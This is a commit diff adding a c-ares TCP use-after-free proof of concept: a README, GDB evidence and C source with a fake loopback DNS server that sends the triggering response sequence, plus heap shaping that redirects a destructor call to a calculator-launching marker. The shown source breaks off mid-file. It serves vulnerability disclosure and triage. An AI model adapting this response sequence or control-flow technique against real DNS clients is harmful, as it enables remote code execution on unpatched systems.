Add c-ares TCP UAF calc PoC
This commit is contained in:
@@ -10,6 +10,7 @@ Most folders contain one of my former standalone PoC repos, preserved with its o
|
||||
| --- | --- | ---: |
|
||||
| `7zip-rar5-motw-chain-poc` | `bd9533f532c1e4ee6af783b9bb49d1133c600e2c` | 3 |
|
||||
| `anydesk-printer-com-impersonation-poc` | `7491303301093b2d40bee9dadf6b38f757ce78e0` | 4 |
|
||||
| `c-ares-tcp-uaf-calc-poc` | direct entry, June 24, 2026 | 7 |
|
||||
| `docker-cp-copyout-destination-escape` | `d1367b1381736d7f961ac808ce88d4e24a633adc` | 5 |
|
||||
| `floci-apigateway-vtl-rce-poc` | direct entry, June 23, 2026 | 3 |
|
||||
| `flowise-mcp-env-case-bypass-poc` | `ed9fab0086674f1b16467990b33bb9299e93429e` | 3 |
|
||||
@@ -42,4 +43,4 @@ Matching Git blob IDs means the tracked file bytes are identical. The check cove
|
||||
|
||||
This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history are not represented inside the folders.
|
||||
|
||||
Direct entries, including `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `nmap-ipv6-extlen-wrap-poc`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are authored in this repository and are tracked by this repository's commit history.
|
||||
Direct entries, including `c-ares-tcp-uaf-calc-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `nmap-ipv6-extlen-wrap-poc`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history.
|
||||
|
||||
217
c-ares-tcp-uaf-calc-poc/README.md
Normal file
217
c-ares-tcp-uaf-calc-poc/README.md
Normal file
@@ -0,0 +1,217 @@
|
||||
# c-ares TCP `ares_getaddrinfo()` UAF calc PoC
|
||||
|
||||
This directory contains a local, benign calculator proof for a c-ares TCP resolver use-after-free in the `ares_getaddrinfo()` path.
|
||||
|
||||
The PoC drives c-ares through a loopback DNS-over-TCP server, shapes the freed c-ares allocation through the public `ares_library_init_mem()` allocator hook, and demonstrates that cleanup reaches an attacker-shaped indirect call:
|
||||
|
||||
```text
|
||||
ares_slist_node_destroy(node)
|
||||
-> node->parent->destruct(node->data)
|
||||
-> proof_marker()
|
||||
```
|
||||
|
||||
The marker writes a proof file under `/tmp` and attempts to start a local calculator. On WSL it starts Windows Calculator. On Linux desktops it tries common calculator binaries.
|
||||
|
||||
## Status
|
||||
|
||||
Disclosure status: privately reported upstream; publication permitted while a fix is being staged.
|
||||
|
||||
Verified targets:
|
||||
|
||||
| Target | Commit | Result |
|
||||
| --- | --- | --- |
|
||||
| c-ares upstream `main` | `c93e50f3ebc0373fe57677523ec960f6c1cb0e15` | calculator proof reached |
|
||||
| c-ares latest official release `v1.34.6` | `3ac47ee46edd8ea40370222f91613fc16c434853` | calculator proof reached |
|
||||
|
||||
This is a local proof harness, not a universal exploit for every application that links c-ares. It demonstrates controlled code execution in the harness when the affected c-ares path, response sequence, allocator shaping, and cleanup path are present.
|
||||
|
||||
## Files
|
||||
|
||||
- `poc/cares_tcp_uaf_calc_poc.c` - standalone C proof harness and benign calc payload.
|
||||
- `scripts/build_from_checkout.sh` - builds c-ares from a supplied checkout and links the PoC against the resulting static library.
|
||||
- `scripts/run_until_hit.sh` - retries the probabilistic heap-layout proof until the marker path lands.
|
||||
- `evidence/main-c93e50f3-gdb.txt` - sanitized GDB stack for upstream `main`.
|
||||
- `evidence/v1.34.6-gdb.txt` - sanitized GDB stack for `v1.34.6`.
|
||||
- `evidence/local-verification.txt` - local calculator and marker verification transcript.
|
||||
|
||||
## Vulnerability Shape
|
||||
|
||||
The reproduced path uses:
|
||||
|
||||
- API: `ares_getaddrinfo()`
|
||||
- Transport: DNS over TCP
|
||||
- Channel flags: `ARES_FLAG_EDNS | ARES_FLAG_USEVC`
|
||||
- Lookup mode: DNS only (`opts.lookups = "b"`)
|
||||
- Response behavior:
|
||||
- accept a TCP DNS query;
|
||||
- return two responses for the same query id in one read;
|
||||
- first response is `FORMERR` without OPT data, causing EDNS retry handling;
|
||||
- second response is a successful empty response for the same query id;
|
||||
- accept the retry write;
|
||||
- reset the TCP connection before the next internal lookup write.
|
||||
|
||||
The stale state is later consumed during query cleanup. In the control-flow proof, the stale `ares_query_t.node_queries_by_timeout` pointer is made to reference a shaped skip-list node. c-ares then calls the node parent list destructor, reaching the local marker function.
|
||||
|
||||
The GDB evidence shows the useful call chain:
|
||||
|
||||
```text
|
||||
proof_marker()
|
||||
ares_slist_node_destroy()
|
||||
ares_query_remove_from_conn()
|
||||
ares_detach_query()
|
||||
ares_free_query()
|
||||
read_answers()
|
||||
process_read()
|
||||
ares_process()
|
||||
main()
|
||||
```
|
||||
|
||||
## Build
|
||||
|
||||
Build against current upstream `main`:
|
||||
|
||||
```bash
|
||||
git clone --depth 1 https://github.com/c-ares/c-ares.git /tmp/c-ares-main
|
||||
./scripts/build_from_checkout.sh /tmp/c-ares-main /tmp/c-ares-main-build ./cares_tcp_uaf_calc_poc
|
||||
```
|
||||
|
||||
Build against the latest release tag:
|
||||
|
||||
```bash
|
||||
git clone --depth 1 --branch v1.34.6 https://github.com/c-ares/c-ares.git /tmp/c-ares-v1.34.6
|
||||
./scripts/build_from_checkout.sh /tmp/c-ares-v1.34.6 /tmp/c-ares-v1.34.6-build ./cares_tcp_uaf_calc_poc
|
||||
```
|
||||
|
||||
Dependencies:
|
||||
|
||||
- Linux or WSL
|
||||
- `gcc`
|
||||
- `cmake`
|
||||
- `git`
|
||||
- POSIX sockets and pthreads
|
||||
|
||||
The build script links a static PoC binary against the static `libcares.a` produced from the supplied checkout.
|
||||
|
||||
## Run
|
||||
|
||||
```bash
|
||||
chmod +x ./cares_tcp_uaf_calc_poc
|
||||
./scripts/run_until_hit.sh ./cares_tcp_uaf_calc_poc
|
||||
```
|
||||
|
||||
Expected success:
|
||||
|
||||
```text
|
||||
CARES_RCE_PAYLOAD_TRIGGERED
|
||||
run=N rc=77
|
||||
c-ares control-flow payload reached pid=...
|
||||
```
|
||||
|
||||
The proof writes:
|
||||
|
||||
```text
|
||||
/tmp/cares_rce_proof_latest
|
||||
```
|
||||
|
||||
Calculator launch order:
|
||||
|
||||
1. WSL Windows Calculator through `/mnt/c/Windows/System32/calc.exe`
|
||||
2. WSL Windows Calculator through `cmd.exe /c start "" calc.exe`
|
||||
3. `xcalc`
|
||||
4. `gnome-calculator`
|
||||
5. `kcalc`
|
||||
|
||||
If no GUI calculator is available, the marker file is still the reliable proof signal.
|
||||
|
||||
## Reliability
|
||||
|
||||
The control-flow path is heap-layout sensitive. A clean run can exit normally with `rc=0`, so the helper script retries. Local verification landed quickly:
|
||||
|
||||
```text
|
||||
upstream main c93e50f3: run=1 rc=77
|
||||
v1.34.6 release: run=1 rc=77
|
||||
```
|
||||
|
||||
A miss does not necessarily mean the target is fixed. Use the GDB evidence mode or retry loop when validating.
|
||||
|
||||
## Why this is code execution and not only a crash
|
||||
|
||||
The proof does not stop at a poisoned pointer crash. It shapes the stale pointer so that c-ares reaches a valid function pointer call through its own internal destructor mechanism. The payload is a benign local marker:
|
||||
|
||||
```text
|
||||
node->parent->destruct(node->data)
|
||||
```
|
||||
|
||||
In the PoC, `destruct` points at `proof_marker()`. GDB confirms instruction pointer control at the marker and shows c-ares frames directly below it.
|
||||
|
||||
## Limits
|
||||
|
||||
This PoC intentionally uses c-ares' supported allocator hook to make the control-flow condition reproducible in a local harness. Real application exploitability depends on:
|
||||
|
||||
- whether the application uses the affected `ares_getaddrinfo()` path;
|
||||
- whether DNS over TCP and EDNS retry behavior are reachable;
|
||||
- whether attacker-controlled DNS responses can drive the required sequence;
|
||||
- allocator behavior and heap layout in the target process;
|
||||
- process mitigations, sandboxing, and restart model;
|
||||
- whether the target statically bundles c-ares or dynamically links the system library.
|
||||
|
||||
Do not treat this source as a drop-in exploit for every c-ares consumer. Treat it as proof that the affected c-ares state machine can be driven from stale object cleanup into a controlled indirect call under the demonstrated conditions.
|
||||
|
||||
## Reach
|
||||
|
||||
c-ares is a low-level asynchronous DNS resolver, so the practical reach is larger than a single command-line tool. A vulnerable c-ares release may appear as a system shared library, a vendored static dependency, or a package-manager dependency. Whether a specific product is affected still requires confirming its bundled c-ares version and whether it exercises the vulnerable API/options.
|
||||
|
||||
Major consumers and ecosystems to check:
|
||||
|
||||
- **Node.js** - Node has historically bundled c-ares under `deps/cares` and labels c-ares/c-ares-wrap work as part of its DNS dependency surface. Node security releases have previously patched bundled c-ares vulnerabilities. Check the specific Node release and DNS API path.
|
||||
- **gRPC** - gRPC documents the `ares` DNS resolver as the default on most platforms when built with c-ares support. Services using gRPC client-side DNS resolution should check whether their build enables the c-ares resolver.
|
||||
- **Envoy Proxy** - Envoy documents c-ares as its default DNS resolution library and exposes c-ares DNS resolver configuration. This matters for proxies, gateways, and service-mesh deployments with dynamic DNS clusters.
|
||||
- **curl/libcurl** - c-ares was originally created to provide asynchronous name resolution for curl. libcurl builds can use c-ares as one asynchronous DNS backend; whether a given curl build uses it depends on build flags and platform packaging.
|
||||
- **Wireshark** - Wireshark release notes and build files identify c-ares as a required dependency for asynchronous DNS name resolution in captures.
|
||||
- **Python async DNS stacks** - Tornado documents `tornado.platform.caresresolver` as a resolver using c-ares through `pycares`. Other Python packages such as `pycares` and `aiodns` may bring c-ares into applications.
|
||||
- **Rust wrappers** - crates such as `c-ares` and higher-level resolver wrappers expose c-ares to Rust applications.
|
||||
- **C/C++ package managers** - c-ares is packaged through Conan, vcpkg, Linux distributions, BSD ports, Homebrew-style package repositories, and similar dependency managers. Static consumers may remain vulnerable even after the system package is updated.
|
||||
|
||||
Operationally, good triage questions are:
|
||||
|
||||
```bash
|
||||
ldd /path/to/binary | grep -i cares
|
||||
readelf -d /path/to/binary | grep -i cares
|
||||
strings /path/to/binary | grep -i 'c-ares\\|libcares\\|ares_getaddrinfo'
|
||||
```
|
||||
|
||||
On macOS:
|
||||
|
||||
```bash
|
||||
otool -L /path/to/binary | grep -i cares
|
||||
```
|
||||
|
||||
On Windows, inspect loaded modules or imports for `cares.dll`, `libcares.dll`, or statically linked c-ares symbols.
|
||||
|
||||
## Mitigation Notes
|
||||
|
||||
The correct mitigation is to apply the upstream c-ares fix once available and rebuild/redeploy all static consumers. Dynamic consumers need the patched shared library and a process restart. Static consumers need a product rebuild even if the operating system package has been fixed.
|
||||
|
||||
Short-term risk reducers, where compatible with the application, include:
|
||||
|
||||
- avoid forcing DNS over TCP for untrusted resolver paths;
|
||||
- avoid resolver configurations where attacker-controlled DNS servers can drive application lookups;
|
||||
- sandbox processes that perform resolver work;
|
||||
- monitor for crashes or abnormal exits in DNS-heavy services;
|
||||
- inventory static c-ares copies in language runtimes and appliances.
|
||||
|
||||
## References
|
||||
|
||||
- c-ares project: https://c-ares.org/
|
||||
- c-ares releases: https://c-ares.org/download/
|
||||
- c-ares GitHub: https://github.com/c-ares/c-ares
|
||||
- gRPC resolver docs: https://grpc.github.io/grpc/cpp/md_doc_environment_variables.html
|
||||
- Envoy DNS resolution docs: https://www.envoyproxy.io/docs/envoy/latest/intro/arch_overview/upstream/dns_resolution
|
||||
- Envoy c-ares resolver API: https://www.envoyproxy.io/docs/envoy/latest/api-v3/extensions/network/dns_resolver/cares/v3/cares_dns_resolver.proto
|
||||
- Tornado c-ares resolver docs: https://www.tornadoweb.org/en/stable/caresresolver.html
|
||||
- Wireshark 3.4.0 release notes: https://www.wireshark.org/docs/relnotes/wireshark-3.4.0.html
|
||||
- Node.js c-ares security update example: https://nodejs.org/en/blog/vulnerability/july-2017-security-releases
|
||||
|
||||
## Responsible Use
|
||||
|
||||
Run this PoC only against local research targets, owned systems, or explicitly authorized lab and CTF environments.
|
||||
14
c-ares-tcp-uaf-calc-poc/evidence/local-verification.txt
Normal file
14
c-ares-tcp-uaf-calc-poc/evidence/local-verification.txt
Normal file
@@ -0,0 +1,14 @@
|
||||
c-ares upstream main
|
||||
commit: c93e50f3ebc0373fe57677523ec960f6c1cb0e15
|
||||
result: run=1 rc=77
|
||||
stderr: CARES_RCE_PAYLOAD_TRIGGERED
|
||||
marker: c-ares control-flow payload reached pid=6188
|
||||
desktop: CalculatorApp.exe started, ApplicationFrameHost title=Calculator
|
||||
|
||||
c-ares latest official release
|
||||
tag: v1.34.6
|
||||
commit: 3ac47ee46edd8ea40370222f91613fc16c434853
|
||||
result: run=1 rc=77
|
||||
stderr: CARES_RCE_PAYLOAD_TRIGGERED
|
||||
marker: c-ares control-flow payload reached pid=3606
|
||||
desktop: CalculatorApp.exe started, ApplicationFrameHost title=Calculator
|
||||
18
c-ares-tcp-uaf-calc-poc/evidence/main-c93e50f3-gdb.txt
Normal file
18
c-ares-tcp-uaf-calc-poc/evidence/main-c93e50f3-gdb.txt
Normal file
@@ -0,0 +1,18 @@
|
||||
Target: c-ares upstream main
|
||||
Commit: c93e50f3ebc0373fe57677523ec960f6c1cb0e15
|
||||
|
||||
Thread 1 "cares_tcp_uaf_" hit Breakpoint 1, proof_marker (arg=0x544440) at poc/cares_tcp_uaf_calc_poc.c:64
|
||||
|
||||
#0 proof_marker (arg=0x544440) at poc/cares_tcp_uaf_calc_poc.c:64
|
||||
#1 0x0000000000418273 in ares_slist_node_destroy (node=0x5444b0) at c-ares-main/src/lib/dsa/ares_slist.c:461
|
||||
#2 0x0000000000409606 in ares_query_remove_from_conn (query=0x52daf0) at c-ares-main/src/lib/ares_process.c:72
|
||||
#3 0x000000000040bd1f in ares_detach_query (query=0x52daf0) at c-ares-main/src/lib/ares_process.c:1474
|
||||
#4 0x000000000040be2c in ares_free_query (query=0x52daf0) at c-ares-main/src/lib/ares_process.c:1512
|
||||
#5 0x000000000040a78c in read_answers (conn=0x52f830, now=0x7fffffffdee0) at c-ares-main/src/lib/ares_process.c:656
|
||||
#6 0x000000000040a86d in process_read (channel=0x528ab0, read_fd=3, now=0x7fffffffdee0) at c-ares-main/src/lib/ares_process.c:688
|
||||
#7 0x0000000000409a68 in ares_process_fds_nolock (channel=0x528ab0, events=0x530360, nevents=1, flags=0) at c-ares-main/src/lib/ares_process.c:214
|
||||
#8 0x0000000000409fdb in ares_process (channel=0x528ab0, read_fds=0x7fffffffe0b0, write_fds=0x7fffffffe130) at c-ares-main/src/lib/ares_process.c:367
|
||||
#9 0x000000000040324c in main (argc=2, argv=0x7fffffffe318) at poc/cares_tcp_uaf_calc_poc.c:488
|
||||
|
||||
rip 0x401d8b 0x401d8b <proof_marker+22>
|
||||
rdi 0x544440 5522496
|
||||
19
c-ares-tcp-uaf-calc-poc/evidence/v1.34.6-gdb.txt
Normal file
19
c-ares-tcp-uaf-calc-poc/evidence/v1.34.6-gdb.txt
Normal file
@@ -0,0 +1,19 @@
|
||||
Target: c-ares latest official release
|
||||
Tag: v1.34.6
|
||||
Commit: 3ac47ee46edd8ea40370222f91613fc16c434853
|
||||
|
||||
Thread 1 "cares_tcp_uaf_" hit Breakpoint 1, proof_marker (arg=0x544440) at poc/cares_tcp_uaf_calc_poc.c:64
|
||||
|
||||
#0 proof_marker (arg=0x544440) at poc/cares_tcp_uaf_calc_poc.c:64
|
||||
#1 0x00000000004180c5 in ares_slist_node_destroy (node=0x5444b0) at c-ares-v1.34.6/src/lib/dsa/ares_slist.c:461
|
||||
#2 0x00000000004095e7 in ares_query_remove_from_conn (query=0x52dad0) at c-ares-v1.34.6/src/lib/ares_process.c:73
|
||||
#3 0x000000000040bd0f in ares_detach_query (query=0x52dad0) at c-ares-v1.34.6/src/lib/ares_process.c:1460
|
||||
#4 0x000000000040be1c in ares_free_query (query=0x52dad0) at c-ares-v1.34.6/src/lib/ares_process.c:1498
|
||||
#5 0x000000000040a818 in read_answers (conn=0x52f810, now=0x7fffffffdee0) at c-ares-v1.34.6/src/lib/ares_process.c:655
|
||||
#6 0x000000000040a8e0 in process_read (channel=0x528ab0, read_fd=3, now=0x7fffffffdee0) at c-ares-v1.34.6/src/lib/ares_process.c:691
|
||||
#7 0x0000000000409b32 in ares_process_fds_nolock (channel=0x528ab0, events=0x5303a0, nevents=1, flags=0) at c-ares-v1.34.6/src/lib/ares_process.c:227
|
||||
#8 0x000000000040a0a5 in ares_process (channel=0x528ab0, read_fds=0x7fffffffe0b0, write_fds=0x7fffffffe130) at c-ares-v1.34.6/src/lib/ares_process.c:380
|
||||
#9 0x000000000040324c in main (argc=2, argv=0x7fffffffe318) at poc/cares_tcp_uaf_calc_poc.c:488
|
||||
|
||||
rip 0x401d8b 0x401d8b <proof_marker+22>
|
||||
rdi 0x544440 5522496
|
||||
495
c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c
Normal file
495
c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c
Normal file
@@ -0,0 +1,495 @@
|
||||
#include <arpa/inet.h>
|
||||
#include <errno.h>
|
||||
#include <netinet/in.h>
|
||||
#include <pthread.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <sys/select.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "ares.h"
|
||||
|
||||
typedef struct {
|
||||
int port;
|
||||
int ready_fd;
|
||||
int udp_start;
|
||||
} server_ctx_t;
|
||||
|
||||
typedef struct tracked_hdr {
|
||||
size_t size;
|
||||
uint64_t magic;
|
||||
struct tracked_hdr *next;
|
||||
uint64_t pad;
|
||||
} tracked_hdr_t;
|
||||
|
||||
typedef void (*proof_destructor_t)(void *);
|
||||
|
||||
typedef struct proof_slist {
|
||||
void *rand_state;
|
||||
unsigned char rand_data[8];
|
||||
size_t rand_bits;
|
||||
void *head;
|
||||
size_t levels;
|
||||
void *tail;
|
||||
void *cmp;
|
||||
proof_destructor_t destruct;
|
||||
size_t cnt;
|
||||
} proof_slist_t;
|
||||
|
||||
typedef struct proof_slist_node {
|
||||
void *data;
|
||||
struct proof_slist_node **prev;
|
||||
struct proof_slist_node **next;
|
||||
size_t levels;
|
||||
proof_slist_t *parent;
|
||||
} proof_slist_node_t;
|
||||
|
||||
static int use_poison_allocator;
|
||||
static int trace_allocator;
|
||||
static int reuse_144;
|
||||
static int control_call;
|
||||
static unsigned char poison_byte = 0x43;
|
||||
static tracked_hdr_t *free144;
|
||||
static size_t alloc_seq;
|
||||
static proof_slist_t *proof_list;
|
||||
static proof_slist_node_t *proof_node;
|
||||
|
||||
static void proof_marker(void *arg)
|
||||
{
|
||||
const char msg[] = "CARES_RCE_PAYLOAD_TRIGGERED\n";
|
||||
const char cmd[] =
|
||||
"proof=/tmp/cares_rce_proof_${PPID}; "
|
||||
"printf 'c-ares control-flow payload reached pid=%s\\n' \"$$\" > \"$proof\"; "
|
||||
"ln -sf \"$proof\" /tmp/cares_rce_proof_latest 2>/dev/null || true; "
|
||||
"if [ -x /mnt/c/Windows/System32/cmd.exe ]; then "
|
||||
" /mnt/c/Windows/System32/calc.exe >/dev/null 2>&1 || "
|
||||
" /mnt/c/Windows/System32/cmd.exe /c start \"\" calc.exe >/dev/null 2>&1; "
|
||||
"elif [ -x /mnt/c/Windows/System32/calc.exe ]; then "
|
||||
" /mnt/c/Windows/System32/calc.exe >/dev/null 2>&1; "
|
||||
"elif command -v xcalc >/dev/null 2>&1; then "
|
||||
" xcalc >/dev/null 2>&1 & "
|
||||
"elif command -v gnome-calculator >/dev/null 2>&1; then "
|
||||
" gnome-calculator >/dev/null 2>&1 & "
|
||||
"elif command -v kcalc >/dev/null 2>&1; then "
|
||||
" kcalc >/dev/null 2>&1 & "
|
||||
"fi";
|
||||
pid_t pid;
|
||||
(void)arg;
|
||||
write(STDERR_FILENO, msg, sizeof(msg) - 1);
|
||||
pid = fork();
|
||||
if (pid == 0) {
|
||||
execl("/bin/sh", "sh", "-c", cmd, (char *)NULL);
|
||||
_exit(127);
|
||||
}
|
||||
if (pid > 0) {
|
||||
waitpid(pid, NULL, 0);
|
||||
}
|
||||
_exit(77);
|
||||
}
|
||||
|
||||
static void *tracked_malloc(size_t size)
|
||||
{
|
||||
tracked_hdr_t *hdr;
|
||||
if (reuse_144 && size == 144 && free144 != NULL) {
|
||||
hdr = free144;
|
||||
free144 = hdr->next;
|
||||
hdr->next = NULL;
|
||||
memset(hdr + 1, 0x52, size);
|
||||
if (trace_allocator) {
|
||||
fprintf(stderr, "ALLOC%zu reuse144 %p\n", ++alloc_seq, (void *)(hdr + 1));
|
||||
}
|
||||
return hdr + 1;
|
||||
}
|
||||
hdr = (tracked_hdr_t *)malloc(sizeof(*hdr) + size);
|
||||
if (hdr == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
hdr->size = size;
|
||||
hdr->magic = 0xc0decafef00dbeefu;
|
||||
hdr->next = NULL;
|
||||
memset(hdr + 1, 0x55, size);
|
||||
if (trace_allocator && size == 144) {
|
||||
fprintf(stderr, "ALLOC%zu size144 %p\n", ++alloc_seq, (void *)(hdr + 1));
|
||||
}
|
||||
return hdr + 1;
|
||||
}
|
||||
|
||||
static void ensure_proof_node(void)
|
||||
{
|
||||
if (proof_list != NULL && proof_node != NULL) {
|
||||
return;
|
||||
}
|
||||
proof_list = (proof_slist_t *)tracked_malloc(sizeof(*proof_list));
|
||||
proof_node = (proof_slist_node_t *)tracked_malloc(sizeof(*proof_node));
|
||||
if (proof_list == NULL || proof_node == NULL) {
|
||||
abort();
|
||||
}
|
||||
memset(proof_list, 0, sizeof(*proof_list));
|
||||
memset(proof_node, 0, sizeof(*proof_node));
|
||||
proof_list->destruct = proof_marker;
|
||||
proof_list->cnt = 1;
|
||||
proof_node->data = proof_list;
|
||||
proof_node->levels = 0;
|
||||
proof_node->parent = proof_list;
|
||||
}
|
||||
|
||||
static void tracked_free(void *ptr)
|
||||
{
|
||||
tracked_hdr_t *hdr;
|
||||
if (ptr == NULL) {
|
||||
return;
|
||||
}
|
||||
hdr = ((tracked_hdr_t *)ptr) - 1;
|
||||
if (hdr->magic != 0xc0decafef00dbeefu) {
|
||||
abort();
|
||||
}
|
||||
if (trace_allocator && hdr->size == 144) {
|
||||
fprintf(stderr, "FREE size144 %p\n", ptr);
|
||||
}
|
||||
if (control_call && hdr->size == 144) {
|
||||
ensure_proof_node();
|
||||
memset(ptr, 0, hdr->size);
|
||||
memcpy((unsigned char *)ptr + 48, &proof_node, sizeof(proof_node));
|
||||
} else {
|
||||
memset(ptr, poison_byte, hdr->size);
|
||||
}
|
||||
if (reuse_144 && hdr->size == 144) {
|
||||
hdr->next = free144;
|
||||
free144 = hdr;
|
||||
}
|
||||
}
|
||||
|
||||
static void *tracked_realloc(void *ptr, size_t size)
|
||||
{
|
||||
tracked_hdr_t *old_hdr;
|
||||
void *new_ptr;
|
||||
size_t copy_len;
|
||||
if (ptr == NULL) {
|
||||
return tracked_malloc(size);
|
||||
}
|
||||
if (size == 0) {
|
||||
tracked_free(ptr);
|
||||
return NULL;
|
||||
}
|
||||
old_hdr = ((tracked_hdr_t *)ptr) - 1;
|
||||
if (old_hdr->magic != 0xc0decafef00dbeefu) {
|
||||
abort();
|
||||
}
|
||||
new_ptr = tracked_malloc(size);
|
||||
if (new_ptr == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
copy_len = old_hdr->size < size ? old_hdr->size : size;
|
||||
memcpy(new_ptr, ptr, copy_len);
|
||||
tracked_free(ptr);
|
||||
return new_ptr;
|
||||
}
|
||||
|
||||
static void load_poison_byte(void)
|
||||
{
|
||||
const char *env = getenv("CARES_PROOF_POISON_BYTE");
|
||||
char *end = NULL;
|
||||
unsigned long value;
|
||||
if (env == NULL || *env == '\0') {
|
||||
return;
|
||||
}
|
||||
value = strtoul(env, &end, 0);
|
||||
if (end != env && value <= 255) {
|
||||
poison_byte = (unsigned char)value;
|
||||
}
|
||||
trace_allocator = getenv("CARES_PROOF_TRACE_ALLOC") != NULL;
|
||||
}
|
||||
|
||||
|
||||
static int read_exact(int fd, unsigned char *buf, size_t len)
|
||||
{
|
||||
size_t off = 0;
|
||||
while (off < len) {
|
||||
ssize_t n = recv(fd, buf + off, len - off, 0);
|
||||
if (n <= 0) {
|
||||
return -1;
|
||||
}
|
||||
off += (size_t)n;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static size_t question_len(const unsigned char *msg, size_t len)
|
||||
{
|
||||
size_t pos = 12;
|
||||
if (len < pos) {
|
||||
return 0;
|
||||
}
|
||||
while (pos < len && msg[pos] != 0) {
|
||||
unsigned int l = msg[pos++];
|
||||
if (l > 63 || pos + l > len) {
|
||||
return 0;
|
||||
}
|
||||
pos += l;
|
||||
}
|
||||
if (pos + 5 > len) {
|
||||
return 0;
|
||||
}
|
||||
return pos + 5 - 12;
|
||||
}
|
||||
|
||||
static size_t make_dns(unsigned char *out, const unsigned char *query,
|
||||
size_t query_len, unsigned char high_flags,
|
||||
unsigned char low_flags, int tcp)
|
||||
{
|
||||
size_t qlen = question_len(query, query_len);
|
||||
size_t dns_len = 12 + qlen;
|
||||
size_t off = tcp ? 2 : 0;
|
||||
if (qlen == 0) {
|
||||
return 0;
|
||||
}
|
||||
if (tcp) {
|
||||
out[0] = (unsigned char)(dns_len >> 8);
|
||||
out[1] = (unsigned char)(dns_len & 0xffu);
|
||||
}
|
||||
out[off + 0] = query[0];
|
||||
out[off + 1] = query[1];
|
||||
out[off + 2] = high_flags;
|
||||
out[off + 3] = low_flags;
|
||||
out[off + 4] = 0;
|
||||
out[off + 5] = 1;
|
||||
out[off + 6] = 0;
|
||||
out[off + 7] = 0;
|
||||
out[off + 8] = 0;
|
||||
out[off + 9] = 0;
|
||||
out[off + 10] = 0;
|
||||
out[off + 11] = 0;
|
||||
memcpy(out + off + 12, query + 12, qlen);
|
||||
return off + dns_len;
|
||||
}
|
||||
|
||||
static void *server_thread(void *arg)
|
||||
{
|
||||
server_ctx_t *ctx = (server_ctx_t *)arg;
|
||||
int s = -1;
|
||||
int u = -1;
|
||||
int c = -1;
|
||||
struct sockaddr_in sin;
|
||||
struct sockaddr_in peer;
|
||||
socklen_t slen;
|
||||
socklen_t plen;
|
||||
unsigned char hdr[2];
|
||||
unsigned char query[4096];
|
||||
unsigned char out[8192];
|
||||
unsigned char retry[4096];
|
||||
uint16_t qlen;
|
||||
size_t n1;
|
||||
size_t n2;
|
||||
struct linger linger_opt;
|
||||
|
||||
s = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (s < 0) {
|
||||
return NULL;
|
||||
}
|
||||
memset(&sin, 0, sizeof(sin));
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
sin.sin_port = 0;
|
||||
if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) != 0) {
|
||||
close(s);
|
||||
return NULL;
|
||||
}
|
||||
if (listen(s, 1) != 0) {
|
||||
close(s);
|
||||
return NULL;
|
||||
}
|
||||
slen = sizeof(sin);
|
||||
if (getsockname(s, (struct sockaddr *)&sin, &slen) != 0) {
|
||||
close(s);
|
||||
return NULL;
|
||||
}
|
||||
ctx->port = ntohs(sin.sin_port);
|
||||
if (ctx->udp_start) {
|
||||
u = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (u < 0) {
|
||||
close(s);
|
||||
return NULL;
|
||||
}
|
||||
memset(&sin, 0, sizeof(sin));
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
sin.sin_port = htons((uint16_t)ctx->port);
|
||||
if (bind(u, (struct sockaddr *)&sin, sizeof(sin)) != 0) {
|
||||
close(u);
|
||||
close(s);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
write(ctx->ready_fd, "R", 1);
|
||||
|
||||
if (ctx->udp_start) {
|
||||
plen = sizeof(peer);
|
||||
ssize_t got = recvfrom(u, query, sizeof(query), 0,
|
||||
(struct sockaddr *)&peer, &plen);
|
||||
if (got > 0) {
|
||||
n1 = make_dns(out, query, (size_t)got, 0x83, 0, 0);
|
||||
if (n1 != 0) {
|
||||
sendto(u, out, n1, MSG_NOSIGNAL, (struct sockaddr *)&peer, plen);
|
||||
}
|
||||
}
|
||||
close(u);
|
||||
}
|
||||
|
||||
c = accept(s, NULL, NULL);
|
||||
if (c < 0) {
|
||||
close(s);
|
||||
return NULL;
|
||||
}
|
||||
if (read_exact(c, hdr, sizeof(hdr)) != 0) {
|
||||
close(c);
|
||||
close(s);
|
||||
return NULL;
|
||||
}
|
||||
qlen = (uint16_t)(((unsigned int)hdr[0] << 8) | hdr[1]);
|
||||
if (qlen > sizeof(query) || read_exact(c, query, qlen) != 0) {
|
||||
close(c);
|
||||
close(s);
|
||||
return NULL;
|
||||
}
|
||||
n1 = make_dns(out, query, qlen, 0x81, 1, 1);
|
||||
n2 = make_dns(out + n1, query, qlen, 0x81, 0, 1);
|
||||
if (n1 != 0 && n2 != 0) {
|
||||
send(c, out, n1 + n2, MSG_NOSIGNAL);
|
||||
}
|
||||
if (read_exact(c, hdr, sizeof(hdr)) == 0) {
|
||||
qlen = (uint16_t)(((unsigned int)hdr[0] << 8) | hdr[1]);
|
||||
if (qlen <= sizeof(retry)) {
|
||||
read_exact(c, retry, qlen);
|
||||
}
|
||||
}
|
||||
linger_opt.l_onoff = 1;
|
||||
linger_opt.l_linger = 0;
|
||||
setsockopt(c, SOL_SOCKET, SO_LINGER, &linger_opt, sizeof(linger_opt));
|
||||
close(c);
|
||||
close(s);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void ai_cb(void *arg, int status, int timeouts,
|
||||
struct ares_addrinfo *res)
|
||||
{
|
||||
